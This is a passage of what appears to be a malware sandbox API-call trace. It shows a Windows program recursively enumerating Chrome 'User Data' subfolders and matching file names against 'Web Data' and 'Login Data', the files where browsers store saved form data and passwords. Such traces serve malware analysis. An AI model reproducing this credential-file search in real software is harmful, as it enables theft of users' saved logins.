hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.804] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.804] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.804] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0 [0054.804] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0054.804] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.804] StrStrIA (lpFirst="Safe Browsing Channel IDs", lpSrch="Web Data") returned 0x0 [0054.804] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.804] StrStrIA (lpFirst="Safe Browsing Channel IDs-journal", lpSrch="Web Data") returned 0x0 [0054.804] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.804] StrStrIA (lpFirst="Safe Browsing Cookies", lpSrch="Web Data") returned 0x0 [0054.804] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.804] StrStrIA (lpFirst="Safe Browsing Cookies-journal", lpSrch="Web Data") returned 0x0 [0054.804] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.804] lstrcmpiA (lpString1=".", lpString2="SSLErrorAssistant") returned -1 [0054.804] lstrcmpiA (lpString1="..", lpString2="SSLErrorAssistant") returned -1 [0054.804] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0054.804] lstrlenA (lpString="\\") returned 1 [0054.804] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74af08 [0054.804] lstrcpyA (in: lpString1=0x74af08, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0054.804] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.804] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0054.804] lstrlenA (lpString="SSLErrorAssistant") returned 17 [0054.804] LocalAlloc (uFlags=0x40, uBytes=0xd0) returned 0x9402ac8 [0054.804] lstrcpyA (in: lpString1=0x9402ac8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.804] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="SSLErrorAssistant" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" [0054.804] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned 79 [0054.804] lstrlenA (lpString="\\*.*") returned 4 [0054.804] LocalAlloc (uFlags=0x40, uBytes=0xd4) returned 0x76a2e8 [0054.804] lstrcpyA (in: lpString1=0x76a2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" [0054.805] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*.*" [0054.805] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*.*", lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0x72dd90 [0054.805] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.805] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.805] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.805] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.805] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0 [0054.805] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0054.805] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.805] lstrcmpiA (lpString1=".", lpString2="SwReporter") returned -1 [0054.805] lstrcmpiA (lpString1="..", lpString2="SwReporter") returned -1 [0054.805] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0054.805] lstrlenA (lpString="\\") returned 1 [0054.805] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74af08 [0054.805] lstrcpyA (in: lpString1=0x74af08, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0054.805] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.805] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0054.805] lstrlenA (lpString="SwReporter") returned 10 [0054.805] LocalAlloc (uFlags=0x40, uBytes=0xc9) returned 0x9402ac8 [0054.805] lstrcpyA (in: lpString1=0x9402ac8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.805] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="SwReporter" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" [0054.805] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned 72 [0054.805] lstrlenA (lpString="\\*.*") returned 4 [0054.805] LocalAlloc (uFlags=0x40, uBytes=0xcd) returned 0x9403ba8 [0054.805] lstrcpyA (in: lpString1=0x9403ba8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" [0054.805] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*.*" [0054.805] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*.*", lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0x72dd90 [0054.805] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.805] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.805] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.805] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.805] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0 [0054.805] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0054.805] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.805] lstrcmpiA (lpString1=".", lpString2="WidevineCdm") returned -1 [0054.805] lstrcmpiA (lpString1="..", lpString2="WidevineCdm") returned -1 [0054.805] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0054.806] lstrlenA (lpString="\\") returned 1 [0054.806] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74af08 [0054.806] lstrcpyA (in: lpString1=0x74af08, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0054.806] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.806] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0054.806] lstrlenA (lpString="WidevineCdm") returned 11 [0054.806] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x9402ac8 [0054.806] lstrcpyA (in: lpString1=0x9402ac8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.806] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="WidevineCdm" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" [0054.806] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned 73 [0054.806] lstrlenA (lpString="\\*.*") returned 4 [0054.806] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x9403ba8 [0054.806] lstrcpyA (in: lpString1=0x9403ba8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" [0054.806] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*.*" [0054.806] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*.*", lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0x72dd90 [0054.806] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.806] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.806] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.806] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.806] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0 [0054.806] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0054.806] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 0 [0054.806] FindClose (in: hFindFile=0x72dd50 | out: hFindFile=0x72dd50) returned 1 [0054.806] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xefbd4 | out: lpFindFileData=0xefbd4) returned 0 [0054.806] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0054.806] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x76a4b0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0054.806] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0054.806] lstrlenA (lpString="\\Google\\Chrome") returned 14 [0054.806] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x756d60 [0054.806] lstrcpyA (in: lpString1=0x756d60, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0054.806] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\Google\\Chrome" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome" [0054.806] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned 51 [0054.806] lstrlenA (lpString="\\*.*") returned 4 [0054.806] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x756ca0 [0054.806] lstrcpyA (in: lpString1=0x756ca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome" [0054.807] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\*.*" [0054.807] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\*.*", lpFindFileData=0xefbd4 | out: lpFindFileData=0xefbd4) returned 0x72dcd0 [0054.808] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.808] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xefbd4 | out: lpFindFileData=0xefbd4) returned 1 [0054.808] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.808] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.808] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xefbd4 | out: lpFindFileData=0xefbd4) returned 1 [0054.808] lstrcmpiA (lpString1=".", lpString2="User Data") returned -1 [0054.808] lstrcmpiA (lpString1="..", lpString2="User Data") returned -1 [0054.808] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned 51 [0054.808] lstrlenA (lpString="\\") returned 1 [0054.808] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x756820 [0054.808] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome" [0054.808] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\" [0054.808] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\") returned 52 [0054.808] lstrlenA (lpString="User Data") returned 9 [0054.808] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x74afd0 [0054.808] lstrcpyA (in: lpString1=0x74afd0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\" [0054.808] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\", lpString2="User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0054.808] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0054.808] lstrlenA (lpString="\\*.*") returned 4 [0054.808] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x768638 [0054.808] lstrcpyA (in: lpString1=0x768638, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0054.808] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\*.*" [0054.808] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\*.*", lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 0x72dd50 [0054.809] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.809] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.809] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.809] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.809] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.809] lstrcmpiA (lpString1=".", lpString2="CertificateTransparency") returned -1 [0054.809] lstrcmpiA (lpString1="..", lpString2="CertificateTransparency") returned -1 [0054.809] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0054.809] lstrlenA (lpString="\\") returned 1 [0054.809] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74af08 [0054.809] lstrcpyA (in: lpString1=0x74af08, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0054.809] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.809] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0054.809] lstrlenA (lpString="CertificateTransparency") returned 23 [0054.809] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x76a2e8 [0054.809] lstrcpyA (in: lpString1=0x76a2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.809] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="CertificateTransparency" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" [0054.809] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned 85 [0054.809] lstrlenA (lpString="\\*.*") returned 4 [0054.809] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x9410768 [0054.809] lstrcpyA (in: lpString1=0x9410768, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" [0054.809] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*" [0054.809] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*", lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0x72dd90 [0054.809] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.809] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.809] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.809] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.809] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0 [0054.809] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0054.809] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.809] lstrcmpiA (lpString1=".", lpString2="Crashpad") returned -1 [0054.809] lstrcmpiA (lpString1="..", lpString2="Crashpad") returned -1 [0054.809] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0054.809] lstrlenA (lpString="\\") returned 1 [0054.809] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74af08 [0054.809] lstrcpyA (in: lpString1=0x74af08, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0054.809] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.809] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0054.809] lstrlenA (lpString="Crashpad") returned 8 [0054.809] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x768708 [0054.809] lstrcpyA (in: lpString1=0x768708, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.809] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="Crashpad" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0054.810] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 70 [0054.810] lstrlenA (lpString="\\*.*") returned 4 [0054.810] LocalAlloc (uFlags=0x40, uBytes=0xcb) returned 0x9402ac8 [0054.810] lstrcpyA (in: lpString1=0x9402ac8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0054.810] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*.*" [0054.810] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*.*", lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0x72dd90 [0054.810] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.810] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.810] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.810] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.810] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.810] StrStrIA (lpFirst="metadata", lpSrch="Login Data") returned 0x0 [0054.810] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.810] lstrcmpiA (lpString1=".", lpString2="reports") returned -1 [0054.810] lstrcmpiA (lpString1="..", lpString2="reports") 